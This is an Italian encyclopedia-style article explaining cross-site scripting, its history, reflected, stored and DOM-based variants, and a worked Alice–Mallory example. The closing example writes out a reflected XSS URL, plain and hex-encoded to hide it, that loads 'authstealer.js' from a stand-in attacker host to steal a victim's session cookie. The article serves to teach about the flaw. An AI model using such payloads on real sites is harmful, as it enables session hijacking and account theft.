Il cross-site scripting (XSS) è una vulnerabilità informatica che affligge siti web dinamici che impiegano un insufficiente controllo dell'input nei form. Un XSS permette a un cracker di inserire o eseguire codice lato client al fine di attuare un insieme variegato di attacchi quali, ad esempio, raccolta, manipolazione e reindirizzamento di informazioni riservate, visualizzazione e modifica di dati presenti sui server, alterazione del comportamento dinamico delle pagine web, ecc.
Nell'accezione odierna, la tecnica ricomprende l'utilizzo di qualsiasi linguaggio di scripting lato client tra i quali JavaScript, VBScript, Flash. Il loro effetto può variare da un piccolo fastidio a un significativo rischio per la sicurezza, a seconda della sensibilità dei dati trattati nel sito vulnerabile e dalla natura delle strategie di sicurezza implementate dai proprietari del sito web.
Secondo un rapporto di Symantec, nel 2007 l'80% di tutte le violazioni era dovuto ad attacchi XSS.
Origine e trasformazione del concetto La sicurezza nel web dipende da una varietà di meccanismi incluso il concetto di fiducia noto come same origin policy. Questo afferma in sostanza che se al contenuto del primo sito viene concessa l'autorizzazione di accedere alle risorse di un sistema, allora qualsiasi contenuto da quel sito condividerà queste autorizzazioni, mentre il contenuto di un altro sito deve avere delle autorizzazioni a parte.
Gli attacchi Cross-site scripting usano vulnerabilità note delle applicazioni web, nei loro server o dei plugin su cui si basano. Sfruttando una di queste vulnerabilità, gli aggressori iniettano contenuto malevolo nel messaggio fornito dal sito compromesso in modo che quando arriva nel web browser lato client risulti inviato dalla fonte attendibile, così da operare secondo le autorizzazioni concesse a quel sistema. Iniettando script malevoli l'utente malintenzionato può ottenere privilegi di accesso al contenuto di pagine sensibili, ai cookie di sessione e a una varietà da altre informazioni gestite dal browser per conto dell'utente.
Gli ingegneri della sicurezza di Microsoft hanno introdotto il termine cross-site scripting nel gennaio del 2000.
L'espressione cross-site scripting originariamente si riferiva unicamente ad attacchi basati sull'utilizzo di frammenti di codice JavaScript inseriti all'interno di chiamate di richiesta a pagine web dinamiche poste su un web-server (tecnica facente parte dei metodi di code injection) in modo che il server remoto eseguisse operazioni diverse da quelle previste originariamente dall'applicativo web. Tale definizione gradualmente si è estesa comprendendo anche altre modalità di "iniezione di codice" basate non solo su JavaScript ma anche su ActiveX, VBScript, Flash, o anche puro HTML. Ciò ha generato una certa confusione nella terminologia riferita alla sicurezza informatica; il termine, infatti, ricomprende oggi tutto un insieme di tecniche di attacco e non esclusivamente quella basata su manipolazione di codice JavaScript.
Vulnerabilità XSS sono state segnalate e sfruttate dal 1990. Siti noti sono stati compromessi nel passato, inclusi siti di social-network come Twitter, Facebook, MySpace, YouTube e Orkut. Negli anni successivi, i problemi di cross-site scripting hanno superato quelli di buffer overflows diventando la vulnerabilità di sicurezza più comunemente segnalata, tant'è che alcuni ricercatori nel 2007 hanno supposto che il 68% dei siti probabilmente sarebbero esposti ad attacchi XSS.
Tipologie La maggior parte degli esperti distingue almeno due principali tipi di vulnerabilità XSS: non persistente e persistente. Alcune fonti dividono ulteriormente questi due gruppi in tradizionale (causate da problemi nel codice lato server) e DOM-based (nel codice lato client).
Reflected (non-persistent) Le vulnerabilità cross-site scripting di tipo reflected sono sicuramente le più comuni. È possibile sfruttarle quando i dati forniti dall'utente (di solito tramite form HTML) sono usati immediatamente dallo script lato server per costruire le pagine risultanti senza controllare la correttezza della richiesta.
Dato che i documenti HTML hanno una struttura piatta in cui sono mescolate istruzioni di controllo, di formattazione e di contenuto effettivo, se tutti i dati forniti dall'utente non validati sono inclusi nella pagina risultante senza un'adeguata codifica HTML, questo può portare a iniezione di codice di markup. Un esempio classico di un potenziale vettore è il motore di ricerca del sito: se si cerca una stringa, in genere questa verrà visualizzata di nuovo nella pagina dei risultati per indicare cosa si è cercato. Se questa risposta non evita o rigetta i caratteri di controllo HTML si consegue che è vulnerabile ad attacchi cross-site scripting.
Un attacco non persistente è tipicamente inviato via mail o da un sito web neutrale. L'esca è un URL dall'aspetto innocente, che punta a un sito attendibile ma che contiene un vettore XSS. Se il sito affidabile è vulnerabile a quel vettore, il click sul link può causare l'esecuzione di script iniettato nel browser della vittima.
Persistent Una vulnerabilità XSS persistente (o stored) è una variante più devastante di cross-site scripting: si verifica quando i dati forniti dall'attaccante vengono salvati sul server, e quindi visualizzati in modo permanente sulle pagine normalmente fornite agli utenti durante la normale navigazione, senza aver eliminato dai messaggi visualizzati dagli altri utenti la formattazione HTML.
Ad esempio, supponiamo che ci sia un sito di incontri in cui i membri visionano i profili degli altri membri per cercare interessi comuni. Per motivi di privacy, questo sito nasconde a tutti il vero nome e la mail degli utenti. Queste informazioni sono tenute segrete dal server. L'unico momento in cui il nome reale e l'email sono visualizzati è quando il membro si autentica, non potendo vedere comunque i dati di chiunque altro.
Supponiamo che un attaccante si colleghi al sito e voglia capire i veri nomi delle persone che vede sul sito. Per fare ciò scrive uno script progettato per essere eseguito dal browser delle altre persone quando visitano il suo profilo. Lo script invia un breve messaggio al suo server che raccoglie queste informazioni.
Per fare questo, per il quesito “Descrivi il tuo primo appuntamento ideale”, l'attaccante dà una risposta breve (dall'aspetto consueto) ma il testo alla fine della risposta è lo script per rubare i nomi e le mail. Se lo script è racchiuso all'interno di un elemento <script> non verrà visualizzato a schermo. Quindi supponiamo che Bob, membro del sito di incontri, raggiunga il profilo dell'attaccante, dove viene visualizzata la risposta alla domanda riguardo al primo appuntamento ideale. Lo script viene automaticamente eseguito dal browser e ruba il nome reale e la mail di Bob direttamente dalla sua macchina.
Le vulnerabilità XSS di tipo persistente possono essere molto più significative rispetto alle altre perché lo script dannoso dell'attaccante è fornito automaticamente senza la necessità di indirizzare la vittima o attirarla nel sito di terze parti. In particolare nel caso di siti di social-network, il codice potrebbe essere progettato per propagarsi autonomamente tra gli account, creando un tipo di worm lato client.
I metodi di iniezione possono variare tantissimo, in alcuni casi l'attaccante non ha nemmeno bisogno di interagire con le funzionalità web per sfruttare una falla. Tutti i dati ricevuti da una applicazione web (via email, log di sistema, messaggistica istantanea, ecc.) che possono essere controllati da un utente malintenzionato potrebbero diventare vettore di iniezione.
Server-side vs vulnerabilità DOM-based Storicamente le vulnerabilità XSS sono state trovate in applicazioni che svolgevano tutto il processamento dei dati lato server. L'input dell'utente (tra cui un vettore XSS) sarebbe stato inviato al server per poi essere rimandato indietro come una pagina web. La necessità di migliorare la user experience ha dato popolarità ad applicazioni che avevano una logica di presentazione (scritta in JavaScript) che inviava i dati, su richiesta, al server usando AJAX.
Mentre il codice JavaScript processa anche gli input dell'utente e li visualizza nella pagina web, la nuova sottoclasse di attacchi XSS di tipo reflected ha iniziato ad apparire ed è stata chiamata DOM-based cross-site scripting. Negli attacchi XSS DOM-based, i dati malevoli non sono toccati dal server web, piuttosto, sono riflessi dal codice JavaScript interamente sul lato client.
Un esempio di vulnerabilità XSS DOM-based è un bug trovato nel 2011 in una serie di plugin JQuery. Le strategie di prevenzione per gli attacchi XSS DOM-based includono misure molto simili alle strategie tradizionali di prevenzione XSS, ma implementate in codice JavaScript e incluse nelle pagine. Alcuni framework JavaScript hanno creato contromisure contro questi e altri tipi di attacchi — ad esempio Angular.js.
Un esempio di attacco Gli attaccanti che tentano di sfruttare le vulnerabilità di cross-site scripting devono affrontare ogni classe di vulnerabilità in modo differente. Per ogni classe, è descritto uno specifico vettore di attacco. I nomi utilizzati in seguito sono nomi tecnici comunemente usati nell'ambito della sicurezza informatica.
Non-persistent Alice visita spesso un particolare sito web, che è ospitato da Bob. Il sito web di Bob permette ad Alice di autenticarsi con username e password e di memorizzare dati sensibili (come i dati di fatturazione). Quando accede nel sistema, il browser mantiene un cookie di autenticazione, che si presenta come un insieme di caratteri illeggibili, in modo che entrambi i computer (client e server) si ricordino della sua autenticazione. Mallory nota che il sito di Bob contiene una vulnerabilità XSS di tipo reflected: Quando si visita la pagina di ricerca, si inserisce un termine nella casella di ricerca e si fa click sul tasto invio, se non ci sono risultati la pagina visualizzerà il termine cercato seguito dalle parole “non trovato”, e l'URL sarà http://bobssite.org?q=her Con una normale query di ricerca, come la parola “cuccioli”, la pagina visualizzerà semplicemente “cuccioli non trovato” e l'URL è http://bobssite.org?q=cuccioli (questo è un comportamento normale). Tuttavia, quando si invia una query anomala di ricerca, come alert('xss');, Viene visualizzato un box di avviso che dice “xss” La pagina visualizza "alert('xss'); non trovato" insieme a un messaggio di errore con il testo “xss” L'URL sfruttabile è http://bobssite.org?q=alert('xss'); Mallory crea un URL per sfruttare l'exploit Crea l'URL http://bobssite.org?q=cuccioli<script%20src="http://mallorysevilsite.com/authstealer.js"></script>. Sceglie di convertire i caratteri ASCII in esadecimale, ad esempio http://bobssite.org?q=cuccioli%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E in modo che eventuali lettori umani non possano immediatamente decifrare l'URL dannoso. Invia una mail ad alcuni ignari membri del sito di Bob, in cui scrive: “Controlla alcuni simpatici cuccioli” Alice riceve la mail e, dato che ama i cuccioli, apre il link. Andrà quindi sul sito di Bob per la ricerca; non trovando nulla visualizzerà “Cuccioli non trovato”, ma lo script di Mallory, authstealer.js, eseguirà, invisibile sullo schermo, scatenando l'attacco XSS. Il programma authstealer.js esegue nel browser di Alice come se fosse stato inviato dal sito di Bob. Prende una copia del cookie di autenticazione di Alice e lo invia al server di Mallory, dove Mallory lo recupererà. Mallory adesso inserisce il cookie di autenticazione di Alice nel suo browser come se fosse il proprio. Va poi sul sito di Bob, adesso è autenticato come Alice.